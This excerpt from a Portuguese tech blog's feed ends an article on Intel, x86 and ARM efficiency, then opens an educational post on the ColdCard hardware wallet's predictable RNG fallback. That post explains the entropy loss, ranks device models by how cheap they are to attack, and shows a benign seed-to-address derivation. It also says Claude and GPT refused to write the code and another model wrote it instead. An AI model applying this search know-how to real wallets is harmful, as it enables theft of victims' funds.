      <tr>
          <th>Medição</th>
          <th>Resultado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Micro-ops por instrução x86 (Pentium Pro, dados da Intel)</td>
          <td>1,2 a 1,7</td>
      </tr>
      <tr>
          <td>Acerto do cache de micro-ops (desde Sandy Bridge, 2011)</td>
          <td>~80% em geral, ~100% em loops quentes</td>
      </tr>
      <tr>
          <td>Custo do decodificador no Haswell (<a href="https://research.aalto.fi/en/publications/empirical-study-of-the-power-consumption-of-the-x86-64-instructio/"target="_blank" rel="noopener">Hirki et al., 2016</a>)</td>
          <td>3 a 10% da potência do pacote, no pior caso</td>
      </tr>
      <tr>
          <td>Custo de desligar o cache de micro-ops (<a href="https://chipsandcheese.com/p/how-zen-2s-op-cache-affects-performance"target="_blank" rel="noopener">Zen 2, Chips and Cheese</a>)</td>
          <td>+4 a 10% no core, +0,5 a 6% no pacote</td>
      </tr>
  </tbody>
</table>
<p>Quando o cache de micro-ops acerta, o hardware de busca e decodificação fica literalmente desligado. A conclusão do estudo da Hirki é seca: &ldquo;o conjunto de instruções x86-64 não é um obstáculo relevante pra produzir um processador energeticamente eficiente&rdquo;. E o estudo acadêmico definitivo — <a href="https://research.cs.wisc.edu/vertical/papers/2013/hpca13-isa-power-struggles.pdf"target="_blank" rel="noopener">Blem, Menon e Sankaralingam, HPCA 2013</a>, medindo ARM contra x86 de verdade — concluiu: contagem e composição de instruções são independentes do ISA em primeira ordem, as diferenças de performance vêm de microarquitetura, e &ldquo;o consumo de energia é, novamente, independente do ISA&rdquo;.</p>
<p>O Jim Keller — o cara que desenhou o Zen da AMD e os chips A4/A5 da Apple, alguém que morou nos dois lados — foi ainda mais direto numa entrevista à AnandTech: a decodificação de tamanho variável &ldquo;não está dominando a pastilha, então não importa tanto&rdquo;. O que limita performance hoje, segundo ele, é previsibilidade de branch e localidade de dados.</p>
<p>E tem o detalhe que derruba o mito de vez: ARM moderno faz a mesma coisa. O Cortex-A77 tem cache de micro-ops. A Samsung adicionou um no Exynos M5 explicitamente pra economizar energia de busca e decodificação. O A64FX da Fujitsu — o ARM dentro do supercomputador Fugaku — decodifica a instrução SVE <code>FADDA</code> em <strong>63 micro-ops</strong>. Sessenta e três. A fantasia do &ldquo;ARM é uma instrução por ciclo, simples e pura&rdquo; não existe mais em nenhum ARM de alto desempenho.</p>
<p>Uma nuance honesta antes de seguir: o comprimento variável do x86 realmente dificulta fazer decodificadores muito largos — a Apple decodifica <strong>até o dobro</strong> de instruções por ciclo que um x86. É uma dificuldade de engenharia real. Só que ela se paga em área de lógica, que é barata, e não em consumo proporcional ao trabalho — que é o que define bateria.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> faz trinta anos que nenhum x86 executa x86 — tudo vira micro-operação estilo RISC. O ISA virou interface de compatibilidade.</p>

</blockquote>
<h2>A conta dos transistores<span class="hx:absolute hx:-mt-20" id="a-conta-dos-transistores"></span>
    <a href="#a-conta-dos-transistores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender por que o peso da decodificação evaporou, olha a evolução:</p>
<table>
  <thead>
      <tr>
          <th>Ano</th>
          <th>Chip</th>
          <th>Processo</th>
          <th>Transistores</th>
          <th>Marco</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>2000</td>
          <td>Pentium 4 Willamette</td>
          <td>180nm</td>
          <td>42 milhões</td>
          <td>a era do clock subindo</td>
      </tr>
      <tr>
          <td>2006</td>
          <td>Core 2 Duo</td>
          <td>65nm</td>
          <td>291 milhões</td>
          <td>o pivô multicore pós-Tejas</td>
      </tr>
      <tr>
          <td>2007</td>
          <td>Penryn</td>
          <td>45nm</td>
          <td>410 milhões</td>
          <td>primeiro high-k metal gate da indústria</td>
      </tr>
      <tr>
          <td>2011</td>
          <td>Ivy Bridge</td>
          <td>22nm</td>
          <td>1,4 bilhão</td>
          <td>FinFET 3D, -50% de potência na mesma performance</td>
      </tr>
  </tbody>
</table>
<p>Em 2000, cada bloco de lógica era um orçamento apertado, e a bagunça do x86 custava caro. Conforme os transistores ficaram infinitos pra todo fim prático, o custo fixo do decodificador virou troco. No meio do caminho, duas mudanças importantes:</p>
<ul>
<li><strong>A escala de Dennard morreu por volta de 2005.</strong> Vazamento de corrente impediu que os clocks continuassem subindo, a Intel cancelou o Tejas em 2004 e o mundo virou multicore. Clock parou nos 1-4GHz e nunca mais saiu dali.</li>
<li><strong>A lei de Moore virou economia, não física.</strong> O custo por transistor parou de cair no 28nm: uma fab de ponta hoje custa US$20 a 30 bilhões, e uma máquina High-NA EUV da ASML custa US$350 milhões.</li>
</ul>
<p>E o que ocupa pastilha e consome energia num chip moderno? Caches gigantes, branch predictors, dezenas de execution ports, GPU, NPU, motores de mídia. O decodificador de x86, na fila do pão, nem aparece.</p>
<p>E a história dá a prova empírica perfeita: de 2015 a 2021, a Intel ficou presa em 14nm — Skylake e seus derivados, seis anos de processo estagnado por falha de fábrica. Mesmo assim, esses cores velhos em 14nm trocavam soco com o Zen 2 da AMD, fabricado em 7nm pela TSMC. Se o x86 fosse o problema, isso seria impossível. O gargalo era a fábrica. Era a fábrica o tempo todo.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> seis anos presa em 14nm, e mesmo assim a Intel competia com chips em 7nm da TSMC. O gargalo era a fábrica, nunca o ISA.</p>

</blockquote>
<h2>O que realmente faz a Apple ser eficiente<span class="hx:absolute hx:-mt-20" id="o-que-realmente-faz-a-apple-ser-eficiente"></span>
    <a href="#o-que-realmente-faz-a-apple-ser-eficiente" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O M1 não é eficiente &ldquo;porque é ARM&rdquo;. A Apple tem licença arquitetural da ARM desde o A6, em 2012: ela desenha os próprios cores do zero e só o conjunto de instruções é ARM. Quando a AnandTech dissecou o core Firestorm do M1, o contraste com o x86 contemporâneo era de escolhas de engenharia, não de instruções:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Apple Firestorm (M1, 2020)</th>
          <th>Intel Sunny Cove (2019)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Decodificação por ciclo</td>
          <td>8</td>
          <td>4</td>
      </tr>
      <tr>
          <td>Reorder buffer</td>
          <td>~630 entradas</td>
          <td>352 entradas</td>
      </tr>
      <tr>
          <td>Cache L1 de instruções</td>
          <td>192KB</td>
          <td>32KB</td>
      </tr>
  </tbody>
</table>
<p>Na prática: o dobro de decodificação por ciclo, quase o dobro de buffer de reordenação, <strong>seis vezes</strong> o cache de instruções. Some a isso a memória unificada soldada no pacote e o processo TSMC de última geração. É microarquitetura agressiva, cache enorme, integração vertical e processo de ponta — tudo caro, tudo deliberado, e nada disso vem de graça com o ISA.</p>
<p>Aliás, a recíproca também é verdadeira: dá pra fazer ARM ruim. O mercado está cheio de ARM medíocre. Eficiência é escolha de engenharia e de processo, não certidão de nascença do ISA.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o M1 é eficiente por microarquitetura, cache, processo e integração vertical — não &ldquo;porque é ARM&rdquo;.</p>

</blockquote>
<h2>Suas instruções favoritas não são x86 nem ARM<span class="hx:absolute hx:-mt-20" id="suas-instruções-favoritas-não-são-x86-nem-arm"></span>
    <a href="#suas-instru%c3%a7%c3%b5es-favoritas-n%c3%a3o-s%c3%a3o-x86-nem-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E tem outra coisa que quase ninguém menciona nesse debate: boa parte do que uma CPU moderna executa não pertence ao conjunto &ldquo;clássico&rdquo; de nenhum dos dois lados. Olha o que roda fora dele:</p>
<ul>
<li><strong>Vídeo.</strong> Na Intel, a decodificação fica no Quick Sync, hardware de função fixa que existe desde Sandy Bridge — um bloco separado que nada tem a ver com o legado x86. É por causa dele que a Frandroid mediu o Snapdragon X2 <strong>58% mais lento</strong> que o Panther Lake em exportação de vídeo.</li>
<li><strong>Criptografia.</strong> AES-NI existe desde 2010, extensões de SHA desde 2016 — instruções dedicadas, acrescentadas décadas depois do &ldquo;x86 velho&rdquo;.</li>
<li><strong>IA e matrizes.</strong> AVX-512, depois AVX10, e o AMX, um acelerador de tiles de matriz. O lado ARM tem os equivalentes: NEON, SVE, SME.</li>
</ul>
<p>A Chips and Cheese fez o experimento perfeito: no mesmo encode HEVC 4K, um Ampere ARM levou <strong>mais de doze vezes</strong> o tempo de um Zen 2 com o ffmpeg padrão; usando assembly NEON, o tempo do ARM caiu mais de 60%. A diferença nunca foi ARM contra x86 — era extensão vetorial bem usada contra extensão vetorial ignorada. No mundo real, o trabalho pesado mora nas extensões e nos aceleradores, e esses são ortogonais ao ISA base.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o trabalho pesado moderno — vídeo, cripto, IA — roda em extensões e aceleradores dedicados, ortogonais ao ISA base.</p>

</blockquote>
<h2>A queda foi gerencial, não arquitetural<span class="hx:absolute hx:-mt-20" id="a-queda-foi-gerencial-não-arquitetural"></span>
    <a href="#a-queda-foi-gerencial-n%c3%a3o-arquitetural" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui a parte que me convence de vez. Olha a linha do tempo e tenta achar &ldquo;o x86 era uma limitação fundamental&rdquo; em algum ponto:</p>
<ul>
<li><strong>2005-2006</strong>: a Intel recusa fabricar o chip do iPhone — o Otellini admitiu o arrependimento em entrevista de saída à The Atlantic: &ldquo;o mundo teria sido muito diferente&rdquo;. E o detalhe tragicômico: a Intel <strong>tinha</strong> uma divisão ARM (a XScale) — e vendeu pra Marvell em 2006 por US$600 milhões. Não foi falta de tecnologia; foi falta de visão.</li>
<li><strong>2013-2021</strong>: três CEOs. Krzanich sai em 2018 por escândalo interno. Entra Bob Swan, um CFO de finanças, pra comandar uma empresa de engenharia no momento mais delicado da história dela.</li>
<li><strong>2018-2020</strong>: o 10nm vira piada (Cannon Lake só em tiragem limitada) e em julho de 2020 a Intel anuncia atraso no 7nm — a ação cai 16% num dia. Em abril de 2019, abandona o modem 5G de smartphone; a Apple compra o negócio por US$1 bilhão. Em novembro de 2020, o M1.</li>
<li><strong>2021-2024</strong>: Gelsinger volta com o plano IDM 2.0, &ldquo;cinco nós em quatro anos&rdquo;. Em dezembro de 2024 é empurrado pra &ldquo;aposentadoria&rdquo; — ultimato do conselho, segundo Reuters e Bloomberg. O ano fecha com prejuízo de <strong>US$18,8 bilhões</strong>, 15 mil demissões, dividendo suspenso e a Intel expulsa do Dow Jones depois de 25 anos — substituída pela Nvidia, que naquele momento valia <strong>mais de 30 vezes</strong> a Intel. Até outubro de 2025, a conta de demissões acumuladas chegava a 35.500.</li>
</ul>
<p>Nada nessa lista é arquitetura. É produto perdido, fab atrasada, decisão errada atrás de decisão errada. O x86 estava lá, competente, enquanto a empresa desmontava ao redor dele.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> iPhone recusado, XScale vendida, 10nm quebrado, três CEOs, US$18,8 bilhões de prejuízo — a queda da Intel foi decisão atrás de decisão, não limitação do x86.</p>

</blockquote>
<h2>O resgate improvável<span class="hx:absolute hx:-mt-20" id="o-resgate-improvável"></span>
    <a href="#o-resgate-improv%c3%a1vel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E aí 2025 acontece. Lip-Bu Tan assume em março. Em agosto, Trump exige a cabeça dele no Truth Social por laços com a China — e poucos dias depois, após uma reunião na Casa Branca, vira fã do cara. No dia 22 de agosto, o governo americano <a href="https://newsroom.intel.com/corporate/intel-and-trump-administration-reach-historic-agreement"target="_blank" rel="noopener">compra 9,9% da Intel</a>: 433,3 milhões de ações a US$20,47, US$8,9 bilhões no total, convertendo subsídios do CHIPS Act em participação acionária, sem assento no conselho. A SoftBank coloca <a href="https://newsroom.intel.com/corporate/softbank-group-and-intel-corporation-sign-2b-investment-agreement"target="_blank" rel="noopener">US$2 bilhões</a>. E a cereja surreal: a <strong>Nvidia</strong> — a mesma que a expulsou do Dow — <a href="http://nvidianews.nvidia.com/news/nvidia-and-intel-to-develop-ai-infrastructure-and-personal-computing-products"target="_blank" rel="noopener">investe US$5 bilhões</a> e fecha parceria pra colocar chiplets RTX em CPUs x86.</p>
<p>O resultado financeiro começou a aparecer: Q1 2026 com receita de US$13,6 bilhões (+7% ao ano), Q2 com US$16,1 bilhões (+25%), sétimo trimestre seguido acima das projeções. A ação que o governo pagou US$20,47 chegou a <strong>mais de seis vezes</strong> esse valor em maio, quando a Bloomberg noticiou conversas pra Intel fabricar chips da Apple — reportagem preliminar, produção a anos de distância, mas o mercado pirou. Mesmo depois de esfriar, a posição do governo americano segue valendo <strong>cinco vezes</strong> o que custou. O contribuinte dos EUA é, hoje, sócio lucrativo da Intel. Vai entender.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> governo dos EUA, SoftBank e Nvidia como sócios, e a ação cinco vezes acima do preço que o governo pagou — a Intel virou causa nacional, e o mercado comprou a volta.</p>

</blockquote>
<h2>A volta, com os pés no chão<span class="hx:absolute hx:-mt-20" id="a-volta-com-os-pés-no-chão"></span>
    <a href="#a-volta-com-os-p%c3%a9s-no-ch%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Panther Lake é o primeiro produto grande do 18A — RibbonFET (transistor gate-all-around) mais PowerVia (alimentação pelo verso do wafer), saindo da Fab 52 em Chandler, Arizona. Tem ironia deliciosa aqui: o tile de GPU de 12 núcleos do topo de linha ainda é fabricado pela TSMC. E o aproveitamento do 18A (a fração de chips bons por wafer), segundo a Tom&rsquo;s Hardware, só deve chegar ao padrão da indústria em 2027 — a rampa é lenta e a Ars Technica acerta na dúvida: é o novo normal ou uma aberração?</p>
<p>Mas o ponto deste artigo não é torcida organizada. É que o Panther Lake encerra empiricamente um debate que era teológico. Um x86-64 em processo competitivo entrega bateria de MacBook, empata multi-core com o M5 e ganha da concorrência Windows em vários cenários. Se o ISA fosse o fator decisivo, isso não aconteceria nunca, em nenhum processo. O que derrubou a Intel foi gestão; o que a traz de volta é fab e foco; e o que separa Apple, Qualcomm, AMD e Intel é microarquitetura, cache, processo e integração — exatamente como o Jim Keller e a literatura sempre disseram.</p>
<p>Torço pela volta dela. Não por nostalgia de quem montou PC com Pentium, mas porque o mercado de laptops eficientes estava virando duopólio confortável — e duopólio confortável é inimigo de preço e de inovação. Que a briga continue.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o Panther Lake encerra um debate teológico: x86 competitivo existe quando a fábrica é competitiva. O jogo nunca foi sobre instruções.</p>

</blockquote>
]]></content:encoded><category>hardware</category><category>reviews</category></item><item><title>Explorando o problema escandaloso do RNG da Coinkite</title><link>https://www.akitaonrails.com/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Ontem publiquei o alerta prático: &lt;a href="https://www.akitaonrails.com/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/"&gt;se você guarda Bitcoin em ColdCard, mova tudo&lt;/a&gt;. Hoje vou mostrar &lt;strong&gt;como&lt;/strong&gt; a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.&lt;/p&gt;
&lt;p&gt;O código didático deste artigo foi gerado com &lt;strong&gt;Kimi K3&lt;/strong&gt;. É curioso notar que, ao mesmo prompt, tanto o &lt;strong&gt;Claude&lt;/strong&gt; quanto o &lt;strong&gt;GPT&lt;/strong&gt; se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem publiquei o alerta prático: <a href="/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/">se você guarda Bitcoin em ColdCard, mova tudo</a>. Hoje vou mostrar <strong>como</strong> a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.</p>
<p>O código didático deste artigo foi gerado com <strong>Kimi K3</strong>. É curioso notar que, ao mesmo prompt, tanto o <strong>Claude</strong> quanto o <strong>GPT</strong> se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.</p>
<p>O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: &ldquo;se a ColdCard fica offline, como os bitcoins sumiram?&rdquo;.</p>
<blockquote>
  <p><strong>Aviso:</strong> o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.</p>

</blockquote>
<h2>O resumo do post anterior<span class="hx:absolute hx:-mt-20" id="o-resumo-do-post-anterior"></span>
    <a href="#o-resumo-do-post-anterior" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro <code>MICROPY_HW_ENABLE_RNG</code> foi definida como <code>0</code>, mas a guarda no <code>libNgU</code> usava <code>#ifndef</code>, que só pergunta se o símbolo existe. O build passou, a chamada <code>rng_get()</code> caiu no fallback de software <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.</p>
<p>Para quem não lida com hardware, vale traduzir essas siglas:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. <strong>A ColdCard não tem essa bateria.</strong> Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores <code>RTC-&gt;TR</code> e <code>RTC-&gt;SSR</code> leiam zero ou um valor estático toda vez que o aparelho liga &ldquo;frio&rdquo;. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o &ldquo;tempo&rdquo; não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.</li>
<li><strong>SysTick</strong> é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até <code>0x00FFFFFF</code> e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como <code>0x003D7A12</code>. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).</li>
</ul>
<p>A análise da <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> e o <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">backgrounder técnico da Coinkite</a> concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.</p>
<p>O ponto central é: <strong>a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos.</strong> Quarenta bits não são seguros. São enumeráveis com hardware barato.</p>
<h2>A carteira não fica &ldquo;dentro&rdquo; da ColdCard<span class="hx:absolute hx:-mt-20" id="a-carteira-não-fica-dentro-da-coldcard"></span>
    <a href="#a-carteira-n%c3%a3o-fica-dentro-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.</p>
<p>No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva <code>secp256k1</code>. Quem conhece o número pode assinar. Quem não conhece, não consegue.</p>
<p>Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.</p>
<p>Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles &ldquo;segura&rdquo; seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.</p>
<h2>Como o atacante prioriza os modelos<span class="hx:absolute hx:-mt-20" id="como-o-atacante-prioriza-os-modelos"></span>
    <a href="#como-o-atacante-prioriza-os-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:</p>
<table>
  <thead>
      <tr>
          <th>Modelo / firmware</th>
          <th>O que o atacante precisa adivinhar</th>
          <th>Espaço aproximado</th>
          <th>Prioridade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>UID do chip, estado dos timers, histórico de chamadas ao RNG</td>
          <td>~40 bits no modelo da Coinkite; determinístico se tudo for conhecido</td>
          <td><strong>1º — atacar primeiro</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 sem reseed bem-sucedido</td>
          <td>Mesmo fallback de cima, com possível falha silenciosa no secure element</td>
          <td>~41 bits</td>
          <td><strong>2º</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 com reseed normal</td>
          <td>Estado do fallback + 32 bits do secure element</td>
          <td>~72 bits brutos, sendo 32 bits de verdadeiro segredo adicionado</td>
          <td><strong>3º — mais caro</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 até v3.2.2</td>
          <td>TRNG de hardware funcionando</td>
          <td>~256 bits</td>
          <td>inatingível</td>
      </tr>
  </tbody>
</table>
<p>Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.</p>
<p>Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.</p>
<p>O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.</p>
<h2>128 bits, 40 bits e 72 bits: qual é a diferença?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-e-72-bits-qual-é-a-diferença"></span>
    <a href="#128-bits-40-bits-e-72-bits-qual-%c3%a9-a-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.</p>
<p>Imagine que você consegue testar <strong>1 bilhão de candidatos por segundo</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidatos</th>
          <th>Tempo para varrer tudo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1,1 trilhão</td>
          <td>~18 minutos</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4,7 sextilhões</td>
          <td>~150 mil anos</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3,4 × 10³⁸</td>
          <td>~10²² anos (muitas ordens de magnitude além da idade do universo)</td>
      </tr>
  </tbody>
</table>
<p>Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.</p>
<p>Por isso 40 bits não são &ldquo;um pouco menos seguros&rdquo; que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.</p>
<h2>De um número inteiro para uma wallet<span class="hx:absolute hx:-mt-20" id="de-um-número-inteiro-para-uma-wallet"></span>
    <a href="#de-um-n%c3%bamero-inteiro-para-uma-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropia (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
